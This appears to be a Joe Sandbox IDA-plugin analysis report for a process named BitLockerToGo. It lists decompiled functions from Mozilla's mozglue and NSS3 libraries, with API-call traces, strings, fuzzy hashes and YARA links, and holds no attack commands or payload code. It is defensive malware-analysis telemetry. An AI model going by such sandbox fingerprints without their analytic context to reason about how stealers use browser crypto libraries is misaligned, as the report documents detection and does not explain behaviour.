Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 9b00e83393084f3ec495b8cb4004dd3dfb03db09ff8f481ff27905ce3c01299f
Instruction ID: 012e8283a02018bb80a951f5a5b2d5f96098b9dc51d5168f1a7ce482b99c760e
Opcode Fuzzy Hash: 9b00e83393084f3ec495b8cb4004dd3dfb03db09ff8f481ff27905ce3c01299f
Instruction Fuzzy Hash: 415237B1E11316DBEF119F64CC05BAA77B8BF15308F148128EC89B2B45E738D954CBA2

Function 6C805440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C805492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8054BE
__Init_thread_footer.LIBCMT ref: 6C8054DB

Part of subcall function 6C82AB3F: EnterCriticalSection.KERNEL32(6C87E370,?,?,6C7F3527,6C87F6CC,?,?,?,?,?,?,?,?,6C7F3284), ref: 6C82AB49
Part of subcall function 6C82AB3F: LeaveCriticalSection.KERNEL32(6C87E370,?,6C7F3527,6C87F6CC,?,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C82AB7C

Part of subcall function 6C82CBE8: GetCurrentProcess.KERNEL32(?,6C7F31A7), ref: 6C82CBF1
Part of subcall function 6C82CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7F31A7), ref: 6C82CBFA

GetCurrentThreadId.KERNEL32 ref: 6C8054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C805516
GetCurrentThreadId.KERNEL32 ref: 6C80556A
AcquireSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C805577
moz_xmalloc.MOZGLUE(00000070), ref: 6C805585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C805590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C8055E6
ReleaseSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C805606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C805616

Part of subcall function 6C82AB89: EnterCriticalSection.KERNEL32(6C87E370,?,?,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284), ref: 6C82AB94
Part of subcall function 6C82AB89: LeaveCriticalSection.KERNEL32(6C87E370,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C82ABD1

GetCurrentThreadId.KERNEL32 ref: 6C80563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C805646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C80567C
free.MOZGLUE(?), ref: 6C8056AE

Part of subcall function 6C815E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C815EDB
Part of subcall function 6C815E90: memset.VCRUNTIME140(6C857765,000000E5,55CCCCCC), ref: 6C815F27
Part of subcall function 6C815E90: LeaveCriticalSection.KERNEL32(?), ref: 6C815FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C8056E8
GetCurrentThreadId.KERNEL32 ref: 6C805707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C80570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C805729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C80574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C80576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C805796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C8057B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C8057CA

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C80548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C805CF9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C805BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C8057AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C805766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C80584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C805724
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C805C56
GeckoMain, xrefs: 6C805554, 6C8055D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8054A3
MOZ_PROFILER_STARTUP, xrefs: 6C8055E1
[I %d/%d] profiler_init, xrefs: 6C80564E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C805791
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8054B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C805AC9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C8056E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C805D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C805511
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C805749
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C805D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C805D1C
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8057C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C805B38
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C805D24
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C805717

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: ab583f6e8b30578b2538e2b4efa43aa1634cf27f1754472b68e6a78094cb8dc0
Instruction ID: 4864b1b18b7b1a732323bcb306fab3a47bfabbee339f2817cd3c5f2d49b35728
Opcode Fuzzy Hash: ab583f6e8b30578b2538e2b4efa43aa1634cf27f1754472b68e6a78094cb8dc0
Instruction Fuzzy Hash: 6D22F571A043109FDB319F698A5866F7BB5AF4634CF040D3AE84A97B41FB349844CBB6

Function 6C806C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C806CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C806D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C806D26

Part of subcall function 6C80CA10: malloc.MOZGLUE(?), ref: 6C80CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C806D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C806D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C806D73
free.MOZGLUE(00000000), ref: 6C806D80
CertGetNameStringW.CRYPT32 ref: 6C806DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C806DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C806DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C806DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C806E10
CryptMsgClose.CRYPT32(00000000), ref: 6C806E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C806E34
CreateFileW.KERNEL32 ref: 6C806EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C806F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C806F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C80709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C807103
free.MOZGLUE(00000000), ref: 6C807153
CloseHandle.KERNEL32(?), ref: 6C807176
__Init_thread_footer.LIBCMT ref: 6C807209
__Init_thread_footer.LIBCMT ref: 6C80723A
__Init_thread_footer.LIBCMT ref: 6C80726B
__Init_thread_footer.LIBCMT ref: 6C80729C
__Init_thread_footer.LIBCMT ref: 6C8072DC
__Init_thread_footer.LIBCMT ref: 6C80730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8073C2
VerSetConditionMask.NTDLL ref: 6C8073F3
VerSetConditionMask.NTDLL ref: 6C8073FF
VerSetConditionMask.NTDLL ref: 6C807406
VerSetConditionMask.NTDLL ref: 6C80740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C80741A
moz_xmalloc.MOZGLUE(?), ref: 6C80755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C807568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C807585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C807598
free.MOZGLUE(00000000), ref: 6C8075AC

Part of subcall function 6C82AB89: EnterCriticalSection.KERNEL32(6C87E370,?,?,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284), ref: 6C82AB94
Part of subcall function 6C82AB89: LeaveCriticalSection.KERNEL32(6C87E370,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C82ABD1

Strings

(, xrefs: 6C80768A
SHA256, xrefs: 6C806EC0
wintrust.dll, xrefs: 6C8072CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C8072C8

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 22ad7ec2d696ed7b5345f1aa65482ceef02d92c2a8070a3d6ce59121e83c5dd6
Instruction ID: fdcc2b7e822848bd1d7861e1f0d025931e21c760e3aeb2c6196fa9c4bd9c7cef
Opcode Fuzzy Hash: 22ad7ec2d696ed7b5345f1aa65482ceef02d92c2a8070a3d6ce59121e83c5dd6
Instruction Fuzzy Hash: 0252BA71A003249FEB31DF25CD48BAE77B9EF55708F1049A9E90997640EB706E84CFA1

Function 6C830DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C830F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C830F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C830FB7
EnterCriticalSection.KERNEL32(?), ref: 6C830FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C831031
LeaveCriticalSection.KERNEL32(?), ref: 6C8310D0
EnterCriticalSection.KERNEL32(?), ref: 6C83117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C831C39
EnterCriticalSection.KERNEL32(6C87E744), ref: 6C833391
LeaveCriticalSection.KERNEL32(6C87E744), ref: 6C8333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C833431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C833437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C833559, 6C83382D, 6C833848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C833793
MOZ_CRASH(), xrefs: 6C833950
MALLOC_OPTIONS, xrefs: 6C8335FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C8337BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C833A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C8337A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C8337D2
Compile-time page size does not divide the runtime one., xrefs: 6C833946
<jemalloc>, xrefs: 6C833941, 6C8339F1

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 9b89ac997c2cf4212d32f8613b3d79bcfb77dddc5134f0c688c809a383741481
Instruction ID: 63a3dd7bf68b938be088e141396ab943ab9d6143ee21b7d052c6982d2ae3c538
Opcode Fuzzy Hash: 9b89ac997c2cf4212d32f8613b3d79bcfb77dddc5134f0c688c809a383741481
Instruction Fuzzy Hash: 61539D71A056218FC324CF68C640615FBE1BF85728F29EA6DE86D9B791D375E802CBC1

Function 6C8534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C853EE2

Part of subcall function 6C856180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C8561DD
Part of subcall function 6C856180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C85622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C854157

Part of subcall function 6C856180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C856250
Part of subcall function 6C856180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C856292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C85441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C854448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C85484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C854863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C854878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C854896
free.MOZGLUE ref: 6C85489F

Strings

, xrefs: 6C854CD2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: eaea0ed44f81afdab4a9eb8cc8bb91ec79d52e040c0934b7c86b77d1c3855433
Instruction ID: 054cf1d2d7869de1d812ef606ff373fdfa0444f66698bbc234f393cb1705efe0
Opcode Fuzzy Hash: eaea0ed44f81afdab4a9eb8cc8bb91ec79d52e040c0934b7c86b77d1c3855433
Instruction Fuzzy Hash: EDF25C749087808FC771CF29C18469AFBF1BFC9308F518A6ED98997711DB719896CB82

Function 6C936D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CA3A8EC,0000006C), ref: 6C936DC6
memcpy.VCRUNTIME140(?,6CA3A958,0000006C), ref: 6C936DDB
memcpy.VCRUNTIME140(?,6CA3A9C4,00000078), ref: 6C936DF1
memcpy.VCRUNTIME140(?,6CA3AA3C,0000006C), ref: 6C936E06
memcpy.VCRUNTIME140(?,6CA3AAA8,00000060), ref: 6C936E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C936E38

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C936E76
TlsGetValue.KERNEL32 ref: 6C93726F
EnterCriticalSection.KERNEL32(?), ref: 6C937283

Strings

!, xrefs: 6C937123

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 1c8c667800ff0336cdf75a96b59025792dd40b83dcd5847c9a2e5ec7c1a473d7
Instruction ID: 1982ead448e3445e1ca479004817b26af6335830ac83058f920aae07833d5a22
Opcode Fuzzy Hash: 1c8c667800ff0336cdf75a96b59025792dd40b83dcd5847c9a2e5ec7c1a473d7
Instruction Fuzzy Hash: C8728B75D05229DBDF20CF28CC8879ABBB5BB59308F1441A9D80DA7741EB31EA85CF91

Function 6C8064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C8064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C8064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C806505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C806518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C80652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C80671C
GetCurrentProcess.KERNEL32 ref: 6C806724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C80672F
GetCurrentProcess.KERNEL32 ref: 6C806759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C806764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C806A80
GetSystemInfo.KERNEL32(?), ref: 6C806ABE
__Init_thread_footer.LIBCMT ref: 6C806AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C806AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C806AF7

Strings

nvd3d9wrap.dll, xrefs: 6C806500
detoured.dll, xrefs: 6C8064DA
nvdxgiwrap.dll, xrefs: 6C806513
user32.dll, xrefs: 6C806526
_etoured.dll, xrefs: 6C8064ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C806798

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 2749d02ba6f94dccf1db93fd05545f25a136a7724046a449af5ef22b10354ad7
Instruction ID: a864e295928d444ea4a0c4d01a5dc763abc6abcbf106edac1fe00cd438ac9755
Opcode Fuzzy Hash: 2749d02ba6f94dccf1db93fd05545f25a136a7724046a449af5ef22b10354ad7
Instruction Fuzzy Hash: 47F1F470A056299FDB30DF24CE48B9AB7B5AF46318F1446A9DC09A7741E731AEC4CF90

Function 6C97AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C97ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C97ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C97ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C97AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C97ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C97ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C97ADF0

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C97B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C97B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C97B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C97B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C97B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C97B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C97B40C

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

